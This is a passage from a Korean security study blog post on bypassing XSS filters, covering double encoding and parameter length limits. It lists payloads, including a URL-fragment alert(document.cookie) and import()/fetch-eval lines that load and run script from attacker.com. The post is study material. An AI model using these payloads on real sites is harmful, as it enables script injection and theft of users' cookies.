이를 그대로 newURL 파라미터에 담기 때문에 최종적으로 페이로드는 완성되고, 관리자 페이지에서 XSS 취약점이 발생합니다.

이와 같이 이중 인코딩을 사용하면 URL Encoding이 아니더라도 다른 인코딩이 적용된 곳에서 XSS 필터링을 우회할 수 있습니다.

9. 길이 제한

XSS 필터링으로 파라미터의 길이를 제한해버리는 방법도 존재합니다.

굳이, 긴 파라미터가 값으로 사용될 일이 없는 경우 길이를 제한하는 경우가 존재하는데 이것 역시 간단하게 우회가 가능합니다.

1. URL Fregment 사용

- #alert(document.cookie)

2. 외부 자원 사용

- import("<http://attacker.com/xss_data>")
- fetch('<http://attacker.com/xss_data>').then(x=>eval(x.text()))

가장 많이 사용되는 방법이 URL Fregment를 사용하는 방법인데 URL Fregment 뒤에 오는 문자는 웹 서버로 전송되지 않는다는 점을 이용해서 필터링을 우회할 수 있습니다.

여기서는 javascript의 eval 함수가 아주 중요하게 사용됩니다.

정리하면서

XSS 기본 취약점을 정리하기까지 엄청나게 오래걸린 것 같습니다.

최근 불미스러운 일 때문에 컴퓨터를 만질 시간이 거의 없었더니, 타자도 좀 느려지고 머리도 잘 안돌아가는 것 같습니다..

그래도 이렇게 첫번째 정리를 끝내니 너무 뿌듯하고 앞으로 이를 기반삼아 차근차근 정리해보려고 합니다.

XSS 우회방법은 이것 외에도 엄청나게 다양하게 많이 있지만 가장 대표적인 것만 정리하였고, XSS 방어기법은 이외에도 CORS, SOP 정책등이 있지만 이는 CSRF 취약점을 정리하고 난 후에 함께 정리해보겠습니다.

그리고, 앞으로 블로그 정리와 새로운 취약점 공부를 병행하면서 열심히 공부해보겠습니다.

반응형
LIST